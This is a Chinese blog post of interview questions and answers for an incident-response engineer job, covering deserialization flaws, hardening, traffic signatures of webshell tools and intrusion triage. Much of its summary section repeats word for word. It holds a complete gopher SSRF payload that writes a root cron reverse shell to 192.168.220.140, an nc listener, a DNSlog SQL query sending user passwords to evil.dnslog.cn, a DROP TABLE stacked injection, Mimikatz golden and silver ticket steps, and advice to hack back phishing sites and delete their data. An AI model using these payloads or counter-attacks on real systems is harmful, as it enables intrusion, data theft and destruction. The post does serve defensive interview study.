2025年渗透测试面试题总结-长亭科技[社招]应急响应工程师(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
长亭科技[社招]应急响应工程师
领域:
一、反序列化漏洞原理
二、安全加固核心思路
三、攻击手法与利用技巧
四、流量特征与工具识别
五、入侵排查指南
六、Weblogic漏洞利用链
七、钓鱼反击策略
领域:
一、反序列化漏洞原理
二、安全加固核心思路
三、攻击手法与利用技巧
四、流量特征与工具识别
五、入侵排查指南
六、Weblogic漏洞利用链
七、钓鱼反击策略
长亭科技[社招]应急响应工程师
1. fastjson不出网利用 fastjson≤1.2.24 条件:BasicDataSource只需要有dbcp或tomcat-dbcp的依赖即可,dbcp即数据库连接池,在java中用于管理数据库连接,还是挺常见的。2. 安全加固的思路操作系统加固、配置加固、 应用程序加固、软件加固、服务器加固3. 邮箱定位画像1. 最好的反击方式当然是渗透拿下对方的钓鱼网站,删除收信箱子。并且反钓鱼,收集对方各种信息指纹等。但是鉴于对方这些域名已经无法访问,那么此方式略过;2. 封掉这些域名。域名注册机构为西部数码,官网西部数码-15年老牌云服务器、虚拟主机、域名注册服务商!你可以整理一下证据,像西部反映一下。 或者去相关网站举报这些网站。4. sql注入dnslog外带利用UNC路径去访问服务器,dns会有日志,通过子查询,将内容拼接到域名内,利用MYSQL内置函数load_file()去访问共享文件,访问的域名被记录,此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。注:load_file函数在Linux下是无法用来做dnslog攻击的,涉及到Windows中的UNC路径。(linux中不存在UNC路径)5. sql注入堆叠堆叠注入,顾名思义,就是将语句堆叠在一起进行查询。原理:mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句。如下代码,同时执行以上两条命令,所以我们可以增删改查,只要权限够。```select * from users;show databases;```虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。6. ssrf利用ridis打内网通过【curl命令】和【gopher协议】远程攻击内网redis。gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。gopher协议可配合linux下的curl命令伪造POST请求包发给内网主机。此种方法能攻击成功的前提条件是:redis是以root权限运行的。```curl -v 'http://xxx.xxx.xx.xx/xx.php?url=gopher://172.21.0.2:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'```解释:1、redis命令进行了两次url编码,这里是通过gopher协议伪造的请求包用curl命令来发送;2、payload采用的是bash反弹,定时程序路径是/var/spool/cron/root发送请求之前在公网机192.168.220.140开启nc监听端口2333```nc -lvp 2333 (或nc -l 2333)```7. 流量的了解1. 冰蝎 2.0 强特征是 accept 里面有个 q=.22. 冰蝎 3.0 Content-Type: application/octet-stream3. 冰蝎 4.0 ua头 referer头 accept 默认aes128 秘闻长度16整数倍4. 蚁剑是 ua 有 answord 蚁剑的加密特征是以 "0x.....="开头5. 哥斯拉 pass 字段6. 菜刀流量存在一些特征字 eval base647. AWVS 扫描器的特征 :主要是看请求包中是否含有 acunetix wvs 字段8. Nessus 扫描器的特征:nessus 字段8. shiro框架了解Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。shiro默认使用Cookie RememberMe Manager,对rememberMe的cookie做了加密处理。在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化:AES加密 -> Base64编码操作。服务器端识别身份解密处理cookie的流程则是:获取rememberMe cookie ->base64 解码->AES解密(加密密钥硬编码)->反序列化(未作过滤处理)。但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都可能会导致该漏洞的产生.硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。9. shrio550和721的区别主要区别在于Shiro550使用已知默认密码,只要有足够的密码。Shiro721的ase加密的key为系统随机生成,需要利用登录后的rememberMe去爆破正确的key值。利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,再去构造反序列化攻击。10. fastjson反序列化漏洞原理11. log4j的漏洞原理12. Windows 入侵排查思路1. 检查系统账号安全(查看服务器是否有弱口令,Netstat 查看网络连接对应的进程,再通过 tasklist 进行进程定位)2. 查看系统登录日志,筛查 4776、4624(登录成功)事件进行分析3. 使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户4. 使用 compmgmt.msc 查看本地用户组有没有隐藏账户5. 导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常6. 运行 taskschd.msc 排查有无可疑的计划任务7. 输入%UserProfile%\Recent 分析最近打开过的可疑文件8. 分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的access.log 日志文件。13. Linux 入侵排查思路1. 分析安全日志 /var/log/secure 查看是否有 IP 爆破成功2. 查看/etc/passwd 分析是否存在攻击者创建的恶意用户3. 查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令4. 分析/var/spool/mail/root Root 邮箱,当日志被删除可查询本文件5. 分析中间件、Web 日志,如 access_log 文件6. 调用命令 last/lastb 翻阅登录日志7. 分析/var/log/cron 文件查看历史计划任务8. 分析 history 日志分析操作命令记录9. 分析 redis、sql server、mysql、oracle 等日志文件14. 制作白银票据的思路1. 条件- 域名称- 域的SID值- 域的服务账户的密码HASH- 伪造的用户名,一般为管理员(如administrator)- 需要访问的服务2. 步骤:1. 获取凭据信息:- 以管理员权限运行 Mimikatz。- 运行 mimikatzprivilege::debug 提升权限。- 运行 sekurlsa::logonpasswords 获取 service 账户的哈希和 SID。2. 清空本地票据缓存:- 使用 Kerberos 工具清理本地票据缓存:kerberos::purge。- 查看本地保存的票据列表:kerberos::list。3. 伪造白银票据并导入:- 使用 Kerberos 工具伪造白银票据并导入:kerberos::golden,参数包括域名、SID、目标主机、RC4 哈希、服务和伪造用户名。4. 访问域控的共享目录:- 执行命令 dir \win08\c$ 访问域控的共享目录。- 远程登录执行命令:PsExec.exe \win08 cmd.exe。- 使用 whoami 命令查看权限15. 黄金票据制作步骤1. 要求:- 域名称:通过 AD PowerShell 模块获取(Get-ADDomain)。- 域的SID值:同样通过 AD PowerShell 模块获取(Get-ADDomain)。- 域的KRBTGT账户NTLM密码哈希。- 伪造的用户名。2. 制作步骤:1. 获取域信息:- 使用 AD PowerShell 模块中的 Get-ADDomain 命令获取域名称和SID值。2. 获取KRBTGT账户NTLM密码哈希:- KRBTGT账户的 NTLM 密码哈希是制作黄金票据的关键信息,可以通过各种手段获取,比如 Mimikatz 工具等。3. 伪造用户名:- 选择要伪造的用户名,一般选择具有高权限的用户,如管理员(administrator)。4. 制作黄金票据:- 使用 Mimikatz 或类似工具,使用获取到的域信息和KRBTGT账户的NTLM密码哈希,伪造黄金票据。- 命令格式通常为:kerberos::golden,参数包括域名称、SID值、伪造用户名、目标主机等。5. 导入黄金票据:- 将伪造的黄金票据导入到目标系统,以获取高权限访问权限。6. 注意:- 制作黄金票据需要获取到域的关键信息和KRBTGT账户的NTLM密码哈希,确保信息的准确性和安全性。- 使用 Mimikatz 或其他工具时,需谨慎操作,确保合法授权和合规性。16. Weblogic原理1. 直接通过T3协议发送恶意反序列化对象:- 利用T3协议直接发送恶意的反序列化对象,利用漏洞如CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2020-2555、CVE-2020-2883等。2. 利用T3协议配合RMP或ND接口反向发送反序列化数据:- 使用T3协议与RMP或ND接口结合,反向发送反序列化数据,利用漏洞如CVE-2017-3248、CVE-2018-2628、CVE-2018-2893、CVE-2018-3245、CVE-2018-3191、CVE-2020-14644、CVE-2020-14645,以及利用IIOP协议的CVE-2020-2551等。3. 通过JavaBean XML方式发送反序列化数据:- 使用JavaBean XML方式发送反序列化数据,利用漏洞链如CVE2017-3506、CVE-2017-10271、CVE2019-2725、CVE-2019-2729等。
领域:
一、反序列化漏洞原理
- Fastjson (≤1.2.24)
- 条件:依赖
dbcp
或tomcat-dbcp
(数据库连接池)。- 利用链:
BasicDataSource
类通过JNDI注入触发RCE(需出网)。- 修复:升级至≥1.2.25,启用
safemode
。- Shiro框架
- Shiro-550:硬编码AES密钥导致
RememberMe
字段反序列化RCE。
- 特征:返回包含
rememberMe=deleteMe
。- Shiro-721:随机密钥需通过Padding Oracle攻击爆破有效Cookie。
- 防御:自定义密钥+禁用
RememberMe
。- Log4j (CVE-2021-44228)
- 原理:
${jndi:ldap://恶意URL}
触发JNDI注入→加载远程恶意类。- 影响:所有未禁用JNDI的Log4j 2.x版本。
- 修复:升级至2.17.0+,禁用
log4j2.formatMsgNoLookups
。
二、安全加固核心思路
类别 实施措施 操作系统加固 最小化服务端口、定期更新补丁、启用防火墙(如iptables/firewalld)。 配置加固 禁用默认账号、强密码策略、关闭不必要的数据库功能(如 LOAD_FILE()
)。应用程序加固 输入过滤(SQLi/XSS)、禁用危险协议(如gopher)、反序列化白名单。 服务器加固 文件权限控制(如 /etc/passwd
只读)、日志审计(syslog/auditd)。
三、攻击手法与利用技巧
- SQL注入进阶
- DNSlog外带(仅Windows):
sql
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users),'.evil.dnslog.cn\\test'));
- 限制:依赖UNC路径,Linux无效。
- 堆叠注入:
sql
SELECT 1; DROP TABLE users; -- 需`mysqli_multi_query()`支持。
- 实际限制:多数ORM框架不支持多语句查询。
- SSRF内网穿透
- Gopher攻击Redis:
bash
curl 'http://vuln.com/ssrf?url=gopher://172.21.0.2:6379/_ 恶意Payload'
- Payload构造:两次URL编码Redis命令(如
flushall
+写定时任务)。- 前提:目标Redis以root运行。
- 票据攻击(Kerberos)
攻击类型 所需信息 工具命令(Mimikatz) 黄金票据 域SID、KRBTGT的NTLM Hash、域名 kerberos::golden /sid:... /krbtgt:...
白银票据 服务账号NTLM Hash、服务名(如cifs) kerberos::golden /target:DC01 /service:cifs
四、流量特征与工具识别
工具 关键特征 冰蝎2.0 HTTP头 Accept: q=.2
冰蝎3.0 Content-Type: application/octet-stream
蚁剑 UA含 antsword
,Payload以0x...=
开头哥斯拉 请求体含 pass
字段AWVS 请求头含 acunetix wvs
字段
五、入侵排查指南
- Windows系统
- 账号检查:
lusrmgr.msc
查隐藏账号 →compmgmt.msc
验证组权限。- 日志分析:事件ID
4776
(凭证验证)、4624
(登录成功)。- 痕迹追踪:
%UserProfile%\Recent
(最近文件)→taskschd.msc
(计划任务)。- Linux系统
- 日志关键点:
/var/log/secure
(爆破IP)→/var/spool/mail/root
(邮箱日志)。~/.bash_history
(命令历史)→/var/log/cron
(定时任务)。- 进程排查:
bash
netstat -antp | grep ESTABLISHED # 可疑网络连接 ps auxf | grep reverse_shell # 恶意进程
六、Weblogic漏洞利用链
- 直接T3协议攻击:CVE-2020-2555(IIOP反序列化)、CVE-2020-2883(JDBC注入)。
- T3+RMP/ND组合利用:CVE-2018-2628(反向发送序列化数据)。
- XML反序列化链:CVE-2017-10271(SOAP组件)、CVE-2019-2725(AsyncResponseService)。
七、钓鱼反击策略
- 渗透反制:
- 若钓鱼站存活:入侵删除数据库 → 反钓鱼收集攻击者指纹(浏览器/邮件头)。
- 域名封禁:
- 向注册商(如西部数码)提交滥用证据 → 工信部举报(www.miit.gov.cn )。
领域:
一、反序列化漏洞原理
- Fastjson (≤1.2.24)
- 条件:依赖
dbcp
或tomcat-dbcp
(数据库连接池)。- 利用链:
BasicDataSource
类通过JNDI注入触发RCE(需出网)。- 修复:升级至≥1.2.25,启用
safemode
。- Shiro框架
- Shiro-550:硬编码AES密钥导致
RememberMe
字段反序列化RCE。
- 特征:返回包含
rememberMe=deleteMe
。- Shiro-721:随机密钥需通过Padding Oracle攻击爆破有效Cookie。
- 防御:自定义密钥+禁用
RememberMe
。- Log4j (CVE-2021-44228)
- 原理:
${jndi:ldap://恶意URL}
触发JNDI注入→加载远程恶意类。- 影响:所有未禁用JNDI的Log4j 2.x版本。
- 修复:升级至2.17.0+,禁用
log4j2.formatMsgNoLookups
。
二、安全加固核心思路
类别 实施措施 操作系统加固 最小化服务端口、定期更新补丁、启用防火墙(如iptables/firewalld)。 配置加固 禁用默认账号、强密码策略、关闭不必要的数据库功能(如 LOAD_FILE()
)。应用程序加固 输入过滤(SQLi/XSS)、禁用危险协议(如gopher)、反序列化白名单。 服务器加固 文件权限控制(如 /etc/passwd
只读)、日志审计(syslog/auditd)。
三、攻击手法与利用技巧
- SQL注入进阶
- DNSlog外带(仅Windows):
sql
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users),'.evil.dnslog.cn\\test'));
- 限制:依赖UNC路径,Linux无效。
- 堆叠注入:
sq
SELECT 1; DROP TABLE users; -- 需`mysqli_multi_query()`支持。
- 实际限制:多数ORM框架不支持多语句查询。
- SSRF内网穿透
- Gopher攻击Redis:
bash
curl 'http://vuln.com/ssrf?url=gopher://172.21.0.2:6379/_ 恶意Payload'
- Payload构造:两次URL编码Redis命令(如
flushall
+写定时任务)。- 前提:目标Redis以root运行。
- 票据攻击(Kerberos)
攻击类型 所需信息 工具命令(Mimikatz) 黄金票据 域SID、KRBTGT的NTLM Hash、域名 kerberos::golden /sid:... /krbtgt:...
白银票据 服务账号NTLM Hash、服务名(如cifs) kerberos::golden /target:DC01 /service:cifs
四、流量特征与工具识别
工具 关键特征 冰蝎2.0 HTTP头 Accept: q=.2
冰蝎3.0 Content-Type: application/octet-stream
蚁剑 UA含 antsword
,Payload以0x...=
开头哥斯拉 请求体含 pass
字段AWVS 请求头含 acunetix wvs
字段
五、入侵排查指南
- Windows系统
- 账号检查:
lusrmgr.msc
查隐藏账号 →compmgmt.msc
验证组权限。- 日志分析:事件ID
4776
(凭证验证)、4624
(登录成功)。- 痕迹追踪:
%UserProfile%\Recent
(最近文件)→taskschd.msc
(计划任务)。- Linux系统
- 日志关键点:
/var/log/secure
(爆破IP)→/var/spool/mail/root
(邮箱日志)。~/.bash_history
(命令历史)→/var/log/cron
(定时任务)。- 进程排查:
bash
netstat -antp | grep ESTABLISHED # 可疑网络连接 ps auxf | grep reverse_shell # 恶意进程
六、Weblogic漏洞利用链
- 直接T3协议攻击:CVE-2020-2555(IIOP反序列化)、CVE-2020-2883(JDBC注入)。
- T3+RMP/ND组合利用:CVE-2018-2628(反向发送序列化数据)。
- XML反序列化链:CVE-2017-10271(SOAP组件)、CVE-2019-2725(AsyncResponseService)。
七、钓鱼反击策略
- 渗透反制:
- 若钓鱼站存活:入侵删除数据库 → 反钓鱼收集攻击者指纹(浏览器/邮件头)。
- 域名封禁:
- 向注册商(如西部数码)提交滥用证据 → 工信部举报(www.miit.gov.cn )。